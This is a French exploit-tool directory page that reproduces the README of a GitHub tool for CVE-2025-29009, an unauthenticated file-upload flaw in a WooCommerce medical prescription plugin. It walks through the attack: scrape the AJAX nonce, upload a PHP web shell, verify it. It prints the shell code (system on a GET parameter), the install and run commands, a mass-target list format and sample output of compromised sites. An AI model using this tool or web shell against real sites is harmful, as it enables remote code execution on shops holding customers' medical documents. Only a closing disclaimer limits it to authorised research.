Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/nxploited/cve-2025-29009
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubnxploited/cve-2025-29009

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 est vulnérable à un téléversement arbitraire de fichier à priorité élevée.

Voir le dépôt
111il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-29009

Le plugin WordPress Medical Prescription Attachment pour WooCommerce <= 1.2.3 est vulnérable à un téléversement arbitraire de fichier de priorité élevée

CVE-2025-29009

Webkul Medical Prescription Attachment — Téléversement de fichier sans restriction → Web Shell

root@kitploit:~
,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.
/    |  /  |           ) /  /\    ) |           ) (   ) /  /\ /  /\ (   )
|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'|
\    |/    |         /   \/  /  /      )      /       / \/  / \/  /     /
 `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'

CVE Plugin Auth

Python
Author

❶ Vulnérabilité

ChampDétail
CVECVE-2025-29009
PluginWebkul Medical Prescription Attachment Plugin for WooCommerce
Versions concernéesToutes les versions ≤ 1.2.3
AuthentificationAucune requise
TypeTéléversement sans restriction d'un fichier de type dangereux → Téléversement de web shell
CWECWE-434 · Téléversement sans restriction d'un fichier de type dangereux

Cause racine :
Le gestionnaire AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) accepte les téléversements de fichiers via wkwc_pa_prescription_attachment[] sans valider l'extension du fichier ni le type MIME côté serveur. Un attaquant non authentifié peut extraire le ajaxNonce de la boutique publique WooCommerce (intégré dans l'objet JavaScript wkwcpaFrontObj), puis téléverser un web shell PHP directement dans le répertoire de téléversement du serveur. La réponse renvoie l'URL complète et accessible du fichier téléversé.


❷ Déroulement de l'attaque

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  1. Resolve front page                                       │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. Extract nonce                                            │
│     Parse wkwcpaFrontObj.ajax.ajaxUrl                        │
│     Parse wkwcpaFrontObj.ajax.ajaxNonce                      │
│                                                              │
│  3. Upload shell                                             │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. Parse response                                           │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. Verify shell                                             │
│     GET <shell_url>  →  check for unique signature           │
│                                                              │
│  6. Save to shells.txt                                       │
└──────────────────────────────────────────────────────────────┘

❸ Installation

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

❹ Préparation du shell

Créez votre shell PHP et intégrez-y une chaîne de signature unique afin que l'outil puisse vérifier le succès de l'exécution :

root@kitploit:~
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

Enregistrez-le sous shell.php dans le même répertoire que le script.
La chaîne NxploitedShellOK est la signature — elle doit apparaître dans la réponse du shell pour que la vérification aboutisse.


❺ Utilisation

root@kitploit:~
python3 CVE-2025-29009.py

Invites

root@kitploit:~
Targets file (default list.txt):              list.txt
Threads (default 10):                         10
Local shell filename (e.g. shell.php):        shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK

Format des cibles — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

Les cibles sans http:// ni https:// reçoivent automatiquement le préfixe http://.


❻ Sortie

FichierContenu
shells.txtUne URL de shell vérifiée par ligne

Terminal :

root@kitploit:~
[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

❼ Codes d'échec

CodeSignification
shell_file_missingshell.php introuvable dans le répertoire de travail
no_front_pageAucune page candidate n'a renvoyé HTTP 200
nonce_not_foundwkwcpaFrontObj absent de toutes les pages
upload_errorErreur réseau lors du POST
json_parse_errorLa réponse n'est pas un JSON valide
success_falseLe serveur a renvoyé data.success = false
no_attachmentsTéléversement réussi mais aucune URL dans la réponse
shell_url_not_foundImpossible d'analyser l'URL du fichier dans le HTML de la réponse

❽ Auteur

root@kitploit:~
Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


❾ Avertissement

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Corrigé dans 1.2.4

Télécharger l’outil